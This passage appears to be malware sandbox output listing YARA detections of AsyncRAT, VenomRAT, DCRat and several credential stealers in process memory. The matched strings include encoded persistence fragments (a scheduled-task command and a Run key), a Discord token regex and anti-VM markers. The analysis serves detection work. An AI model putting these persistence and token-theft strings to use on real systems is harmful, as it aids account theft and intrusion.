0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28bc42:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287db6:$s6: VirtualBox 0x297935:$s6: VirtualBox 0x293352:$s8: Win32_ComputerSystem 0x29789b:$s8: Win32_ComputerSystem 0x29047e:$s9: Win32_Process Where ParentProcessID= 0x29009b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290138:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29024d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290335:$cnc4: POST / HTTP/1.1
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2415e8:$a1: havecamera 0x28c412:$a2: timeout 3 > NUL 0x28f795:$a3: START "" " 0x28fcaa:$a3: START "" " 0x28fb85:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fc22:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2939e6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28bc82:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287df6:$s6: VirtualBox 0x297975:$s6: VirtualBox 0x293392:$s8: Win32_ComputerSystem 0x2978db:$s8: Win32_ComputerSystem 0x2904be:$s9: Win32_Process Where ParentProcessID= 0x2900db:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290178:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29028d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290375:$cnc4: POST / HTTP/1.1
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2119e8:$a1: havecamera 0x25c812:$a2: timeout 3 > NUL 0x25fb95:$a3: START "" " 0x2600aa:$a3: START "" " 0x25ff85:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x260022:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x263de6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x25c082:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2581f6:$s6: VirtualBox 0x267d75:$s6: VirtualBox 0x263792:$s8: Win32_ComputerSystem 0x267cdb:$s8: Win32_ComputerSystem 0x2608be:$s9: Win32_Process Where ParentProcessID= 0x2604db:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x260578:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x26068d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x260775:$cnc4: POST / HTTP/1.1
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2411e8:$a1: havecamera 0x28c012:$a2: timeout 3 > NUL 0x28f395:$a3: START "" " 0x28f8aa:$a3: START "" " 0x28f785:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f822:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2935e6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b882:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2879f6:$s6: VirtualBox 0x297575:$s6: VirtualBox 0x292f92:$s8: Win32_ComputerSystem 0x2974db:$s8: Win32_ComputerSystem 0x2900be:$s9: Win32_Process Where ParentProcessID= 0x28fcdb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd78:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fe8d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff75:$cnc4: POST / HTTP/1.1
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241a08:$a1: havecamera 0x53f428:$a1: havecamera 0x28c832:$a2: timeout 3 > NUL 0x58a252:$a2: timeout 3 > NUL 0x28fbb5:$a3: START "" " 0x2900ca:$a3: START "" " 0x58d5d5:$a3: START "" " 0x58daea:$a3: START "" " 0x28ffa5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d9c5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x290042:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58da62:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293e06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591826:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28c0a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x589ac2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x288216:$s6: VirtualBox 0x297d95:$s6: VirtualBox 0x585c36:$s6: VirtualBox 0x5957b5:$s6: VirtualBox 0x2937b2:$s8: Win32_ComputerSystem 0x297cfb:$s8: Win32_ComputerSystem 0x5911d2:$s8: Win32_ComputerSystem 0x59571b:$s8: Win32_ComputerSystem 0x2908de:$s9: Win32_Process Where ParentProcessID= 0x58e2fe:$s9: Win32_Process Where ParentProcessID= 0x2904fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58df1b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290598:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58dfb8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2906ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58e0cd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290795:$cnc4: POST / HTTP/1.1 0x58e1b5:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 5512	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 5512	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x45e17:$b2: ::FromBase64String( 0x45e4b:$b2: ::FromBase64String( 0x45e7f:$b2: ::FromBase64String( 0x1bda79:$b2: ::FromBase64String( 0x1bdaad:$b2: ::FromBase64String( 0x1bdae1:$b2: ::FromBase64String( 0x1cd1fb:$b2: ::FromBase64String( 0x1cd22f:$b2: ::FromBase64String( 0x1cd263:$b2: ::FromBase64String( 0x1d3716:$b2: ::FromBase64String( 0x1d374a:$b2: ::FromBase64String( 0x1d377e:$b2: ::FromBase64String( 0x1e4bb6:$b2: ::FromBase64String( 0x1e4bea:$b2: ::FromBase64String( 0x1e4c1e:$b2: ::FromBase64String( 0x20ffa5:$b2: ::FromBase64String( 0x20ffd9:$b2: ::FromBase64String( 0x21000d:$b2: ::FromBase64String( 0x16f0:$s1: -join 0x39207:$s1: -join 0x398f6:$s1: -join
Process Memory Space: powershell.exe PID: 5512	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x187d67:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2f1c27:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 5512	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x12bb1b:$s6: VirtualBox 0x2959db:$s6: VirtualBox 0x187a3d:$s8: Win32_ComputerSystem 0x189c5a:$s8: Win32_ComputerSystem 0x1fdd1c:$s8: Win32_ComputerSystem 0x1fdf7f:$s8: Win32_ComputerSystem 0x202874:$s8: Win32_ComputerSystem 0x202913:$s8: Win32_ComputerSystem 0x2f18fd:$s8: Win32_ComputerSystem 0x2f3b1a:$s8: Win32_ComputerSystem 0x186393:$s9: Win32_Process Where ParentProcessID= 0x2f0253:$s9: Win32_Process Where ParentProcessID= 0x1861a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2f0066:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1861f4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2f00b4:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x18627e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2f013e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1862f2:$cnc4: POST / HTTP/1.1 0x2f01b2:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 6508	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 6508	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6ae1:$b2: ::FromBase64String( 0x6b15:$b2: ::FromBase64String( 0x6b49:$b2: ::FromBase64String( 0x63340:$b2: ::FromBase64String( 0x63374:$b2: ::FromBase64String( 0x633a8:$b2: ::FromBase64String( 0x1de1b1:$b2: ::FromBase64String( 0x1de1e5:$b2: ::FromBase64String( 0x1de219:$b2: ::FromBase64String( 0x1ded05:$b2: ::FromBase64String( 0x1ded39:$b2: ::FromBase64String( 0x1ded6d:$b2: ::FromBase64String( 0x22eaa5:$b2: ::FromBase64String( 0x22ead9:$b2: ::FromBase64String( 0x22eb0d:$b2: ::FromBase64String( 0x5862e:$s1: -join 0x5aa5a:$s1: -join 0x7d8ef:$s1: -join 0x8a9c4:$s1: -join 0x8dd96:$s1: -join 0x8e448:$s1: -join
Process Memory Space: powershell.exe PID: 6508	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x19f691:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x314c06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 6508	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x143445:$s6: VirtualBox 0x2b89ba:$s6: VirtualBox 0x51dc5:$s8: Win32_ComputerSystem 0x52028:$s8: Win32_ComputerSystem 0x5691d:$s8: Win32_ComputerSystem 0x569bc:$s8: Win32_ComputerSystem 0x19f367:$s8: Win32_ComputerSystem 0x1a1584:$s8: Win32_ComputerSystem 0x3148dc:$s8: Win32_ComputerSystem 0x316af9:$s8: Win32_ComputerSystem 0x19dcbd:$s9: Win32_Process Where ParentProcessID= 0x313232:$s9: Win32_Process Where ParentProcessID= 0x19dad0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x313045:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19db1e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x313093:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19dba8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x31311d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x19dc1c:$cnc4: POST / HTTP/1.1 0x313191:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 6500	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 6500	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd67a:$b2: ::FromBase64String( 0xd6ae:$b2: ::FromBase64String( 0xd6e2:$b2: ::FromBase64String( 0x38642:$b2: ::FromBase64String( 0x38676:$b2: ::FromBase64String( 0x386aa:$b2: ::FromBase64String( 0x39ddc:$b2: ::FromBase64String( 0x39e10:$b2: ::FromBase64String( 0x39e44:$b2: ::FromBase64String( 0x3d749:$b2: ::FromBase64String( 0x3d77d:$b2: ::FromBase64String( 0x3d7b1:$b2: ::FromBase64String( 0x13b2a5:$b2: ::FromBase64String( 0x13b2d9:$b2: ::FromBase64String( 0x13b30d:$b2: ::FromBase64String( 0x2ac667:$b2: ::FromBase64String( 0x2ac69b:$b2: ::FromBase64String( 0x2ac6cf:$b2: ::FromBase64String( 0x26f98:$s1: -join 0x29000:$s1: -join 0x60c0c:$s1: -join
Process Memory Space: powershell.exe PID: 6500	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x215f0f:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x37ec51:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 6500	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1b9cc3:$s6: VirtualBox 0x322a05:$s6: VirtualBox 0x204b0:$s8: Win32_ComputerSystem 0x20713:$s8: Win32_ComputerSystem 0x25008:$s8: Win32_ComputerSystem 0x250a7:$s8: Win32_ComputerSystem 0x215be5:$s8: Win32_ComputerSystem 0x217e02:$s8: Win32_ComputerSystem 0x37e927:$s8: Win32_ComputerSystem 0x380b44:$s8: Win32_ComputerSystem 0x21453b:$s9: Win32_Process Where ParentProcessID= 0x37d27d:$s9: Win32_Process Where ParentProcessID= 0x21434e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x37d090:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x21439c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x37d0de:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x214426:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x37d168:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x21449a:$cnc4: POST / HTTP/1.1 0x37d1dc:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 2616	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 2616	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf2ce4:$b2: ::FromBase64String( 0xf2d18:$b2: ::FromBase64String( 0xf2d4c:$b2: ::FromBase64String( 0x100942:$b2: ::FromBase64String( 0x100976:$b2: ::FromBase64String( 0x1009aa:$b2: ::FromBase64String( 0x101a1a:$b2: ::FromBase64String( 0x101a4e:$b2: ::FromBase64String( 0x101a82:$b2: ::FromBase64String( 0x11869e:$b2: ::FromBase64String( 0x1186d2:$b2: ::FromBase64String( 0x118706:$b2: ::FromBase64String( 0x159b81:$b2: ::FromBase64String( 0x159bb5:$b2: ::FromBase64String( 0x159be9:$b2: ::FromBase64String( 0x2da1b5:$b2: ::FromBase64String( 0x2da1e9:$b2: ::FromBase64String( 0x2da21d:$b2: ::FromBase64String( 0x11b1de:$s1: -join 0x17fcaa:$s1: -join 0x182f3c:$s1: -join
Process Memory Space: powershell.exe PID: 2616	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xc974a:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2ab67c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 2616	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d4fe:$s6: VirtualBox 0x24f430:$s6: VirtualBox 0xc9420:$s8: Win32_ComputerSystem 0xcb63d:$s8: Win32_ComputerSystem 0x179340:$s8: Win32_ComputerSystem 0x1795a3:$s8: Win32_ComputerSystem 0x17de2e:$s8: Win32_ComputerSystem 0x17decd:$s8: Win32_ComputerSystem 0x2ab352:$s8: Win32_ComputerSystem 0x2ad56f:$s8: Win32_ComputerSystem 0xc7d76:$s9: Win32_Process Where ParentProcessID= 0x2a9ca8:$s9: Win32_Process Where ParentProcessID= 0xc7b89:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2a9abb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xc7bd7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like 